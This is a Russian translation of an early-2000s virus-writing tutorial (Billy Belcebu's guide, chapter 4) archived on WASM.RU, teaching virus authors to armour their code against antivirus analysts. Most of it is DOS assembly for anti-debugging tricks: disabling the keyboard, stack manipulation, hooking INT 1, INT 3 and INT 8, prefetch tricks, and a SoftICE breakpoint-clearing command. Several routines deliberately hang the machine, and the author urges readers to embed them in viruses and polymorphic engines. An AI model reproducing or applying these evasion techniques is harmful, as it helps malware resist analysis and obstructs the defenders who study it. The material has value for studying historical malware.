Путеводитель по написанию вирусов: 4. Бронирование вашего кода

Дата публикации 29 авг 2002

Путеводитель по написанию вирусов: 4. Бронирование вашего кода — Архив WASM.RU

Это очень обсуждаемая тема на сцене. Многие VXеры защищают свой код, чтобы сделать жизнь AVеров намного труднее. Конечно, мы говорим об антиотладочных процедурах. Есть много техник, которые мы все знаем... но было бы не плохо привести парочку из них здесь... не правда ли?

У этих методов есть много возможных функций. Они очень конфигурабельны. Вы можете сделать свои собственные процедуры для вашего вируса. Я думаю, что стоит поместить по крайней мере одну из этих процедур в ваш полиморфный движок (в таблицу длинных процедур, как в вирусе Zohra Wintermut'а), чтобы одурачить AVеров, которые пытаются расшифровать наш код.

Очень полезная вещь - это деактивация клавиатуры. Когда мы деактивируем клавиатуру, отлаживающий код не может его больше трейсить (F7 в TD). Если пользователь запускает программу на полную скорость... нет проблем. Только int 3 (брикпоинт) сделает остальное. Это очень простая вещь, которая работает очень хорошо! Давайте взглянем на код:

Код (Text):
  1.  
  2.  bye_keyb:
  3.         in      al,21h                  ; Давайте деактивируем клавиатуру
  4.         or      al,02h                  ; Попробуйте нажать на любую клавишу
  5.         out     21h,al
  6.  
  7.  fuck_int3:
  8.         int     3h                      ; Брикпоинт
  9.  
  10.  exit_adbg:
  11.         in      al,21h                  ; Давайте активируем клавиатуру
  12.         and     al,not 2                ; Теперь клавиатура работает
  13.         out     21h,al                  ; кул :)
  14.  

Это хороший метод. Подумайте, что вы можете сделать... деактивирование клавиатуры каждый раз, когда наш выполняется наш вирус даст следующее: юзер не сможет нажать ^C, поэтому все, что вам нужно сделать, будет сделано. Действительно полезная и простая вещь.

Другой метод - это поиграться со стеком. Многие деббугеры спотыкаются об эту простую и старую вещь. Код? Держите:

Код (Text):
  1.  
  2.  do_shit_stack:
  3.         neg     sp
  4.         neg     sp
  5.  

Просто, а? Вы можете также сделать NOT вместо NEG. Будет тот же результат.

Код (Text):
  1.  
  2.  tons_of_shit:
  3.         not     sp
  4.         not     sp
  5.  

Что делает NEG? Он увеличивает значение регистра на 1, потом применяет NOT к результату. Hо это очень старый трюк... вы можете добавить его, но будет лучше поискать другие, так как это не пройдет со старыми отладчиками вроде Soft-Ice. Hо если вы собираетесь сделать полиморфный движок, вы можете добавить простую процедуру вроде этой и AVP будет сосать, пытаясь расшифровать ваш код. Хехе... Порождение Касперского сосет! Гхрм... Я забыл кое о чем... TBCLEAN говорит: "Достигнут краш стека" :smile3: Ок... продолжаем... Другой метод заключается в переполнении стека:

Код (Text):
  1.  
  2.  overflower:
  3.         mov     ax,sp
  4.         mov     sp,00h
  5.         pop     bx
  6.         mov     sp,ax
  7.  

Конечно... есть еще. Другой классический трюк заключается в перехвате int 1 и/или int 3. У вас есть много возможностей, чтобы сделать это. Хорошо, мы можем предложить вам еще.

Код (Text):
  1.  
  2.  change_int1_and_int3_using_dos:
  3.         mov     ax,2501h                ; AL = INT, который нужно перехватить
  4.         lea     dx,newint
  5.         int     21h
  6.         mov     al,03h
  7.         int     21h
  8.         [...]
  9.  newint:
  10.         jmp     $
  11.         iret                            ; Зачем, если не используется? Хехе :)
  12.  

Эта процедура может быть названа сторожевой резидентной собакой. Мы рекомендуем вам использовать нижеследующий метод. Перехват прямым манипулированием:

Код (Text):
  1.  
  2.  int1:
  3.         xor     ax,ax                   ; Давайте попробуем поместить IRET
  4.                                         ; в INT 1
  5.         mov     es,ax                   ; Hам нужен ES = 0. IVT в 0000:0000
  6.         mov     word ptr es:[1h*4],0FEEBh ; jmp $
  7.  
  8.  int3:
  9.         xor     ax,ax
  10.         mov     es,ax
  11.         mov     word ptr es:[3h*4],0FEEBh ; jmp $
  12.  

Если вы не хотите повесить компьютер, просто замените 0FEEBh на 0CF90h (noр и iret [в перевернутом порядке, разумеется]).

Очень классная идея - это сделать так, чтобы int 3 указывал на int 21, а затем использовать его вместо int 21. Это хорошо для двух вещей: натянуть отладчики и оптимизировать ваш код... как это поможет оптимизировать ваш код? Опкод int 21 pавен CD 21 (занимает два байта), а int 3 - только CC...

Помните, что int 3 - это брикпоинт для отладчиков, поэтому каждый раз, когда вы будете вызывать int 3, отладчик будет останавливаться :smile3:. Вот сам код:

Код (Text):
  1.  
  2.  getint21:
  3.         mov     ax,3521h                ; Получаем вектора прерываний
  4.         int     21h
  5.         mov     word ptr [int21_ofs],bx
  6.         mov     word ptr [int21_seg],es
  7.  
  8.         mov     ax,2503h
  9.         lea     dx,jumptoint21
  10.         int     21h
  11.         [...]
  12.  
  13.  jumptoint21    db      0EAh
  14.  int21          equ     this dword
  15.  int21_ofs      dw      0000h
  16.  int21_seg      dw      0000h
  17.  

Мы также делаем сравнения со стеком, чтобы знать, не отлаживают ли нас. Вот несколько примеров:

Код (Text):
  1.  
  2.  stack_compares:
  3.         push    ax
  4.         pop     ax
  5.         dec     sp
  6.         dec     sp
  7.         pop     bx
  8.         cmp     ax,bx
  9.         jz      exit_adbg               ; не отлаживают
  10.         jmр     $                       ; вешать компьютеры - это круто :)
  11.  exit_adbg:
  12.  

Помните запрещать прерывания (cli) и разрешать их снова (sti), если необходимо. Да, есть еще много других методов для защиты своего кода. Они, конечно, очень стары, но эй! они работают! Давайте взглянем на следующий... Манипуляци с префетчингом очень известны. Я очень люблю этот метод. Давайте взглянем на следующий код:

Код (Text):
  1.  
  2.  prefetch:
  3.         mov     word рtr cs:fake,0FEEBh ; Что, вы думаете, произойдет, если
  4.  fake:  jmp     nekst                   ; код отлаживается? Да, PC повиснет!
  5.  nekst:  
  6.                               ; А дальше идет просто код
  7.  

Вы также можете сделать еще больше различных вещей с префетчингом. Вы можете перейти к процедуре или поместить hlt (тоже зависон)...

Код (Text):
  1.  
  2.  prefetch_fun:
  3.         mov     word ptr cs:fake2,04CB4h
  4.  fake2: jmp     bye_fake
  5.         int     21h
  6.  bye_fake:
  7.  

Этот код прервет выполнение вашей программы. Довольно круто. А теперь процедура специально для SoftIce (лучший отладчик также одурачен).

По крайней мере так говорят многие люди. Вот сам код:

Код (Text):
  1.  
  2.  soft_ice_fun:
  3.         mov     ax,0911h                ; Функция Soft-ice запуска команды
  4.         mov     di,4647h                ; DI = "FG"
  5.         mov     si,4A4Eh                ; SI = "JM"
  6.         lea     dx,soft_ice_fuck        ; Да!
  7.         int     03h                     ; Int для брикпоинтов
  8.  
  9.  soft_ice_fuck  db      "bc *",10,0
  10.  

Другой трюк состоит в том, чтобы перехватить int 8 и поместить туда сравнение переменной в нашем резидентном код, потому что многие дебуггеры деактивируют все прерывания, кроме int 8. Данное прерывание запускается 18.2 раз в секунду. Я рекомендую сохранить старый обработчик прерывания, прежде чем перехватывать его. Вам нужен код? Вот он:

Код (Text):
  1.  
  2.  save_old_int8_handler:                 ; Вы помните журнал 40-hex?
  3.         mov     ax,3508h                ; Это процедура из 7-го выпуска
  4.         int     21h
  5.         mov     word ptr [int8_ofs],bx
  6.         mov     word ptr [int8_seg],es
  7.         push    bx es
  8.         mov     ah,25h                  ; Помещаем старый обработчик int 8
  9.         lea     dx,virii
  10.         int     21h
  11.  fuckin_loop:
  12.         cmр     fuckvar,1               ; Это вызовет небольшую задержку
  13.         jnz     fuckin_loop
  14.         pop     ds ds
  15.  
  16.         int     21h
  17.         mov     ax,4C00h
  18.         int     21h
  19.  
  20.  fuckvar        db      0
  21.  int8           equ     this dword
  22.  int8_ofs       dw      0000h
  23.  int8_seg       dw      0000h
  24.  program:
  25.                 ; bla bla bla
  26.         mov     fuckvar,1
  27.                 ; more and more bla
  28.         jmp     dword ptr [int8]
  29.  

Запомните урок Demogorgon'а: "Hезащищенный код - это публичное достояние".

Эй! Будьте внимательны, если вам нужно дельта-смещение (т.е. вирусы времени выполнения) и добавьте его... ок? © Billy Belcebu, пер. Aquila


0 791
archive

archive
New Member

Регистрация:
27 фев 2017
Публикаций:
532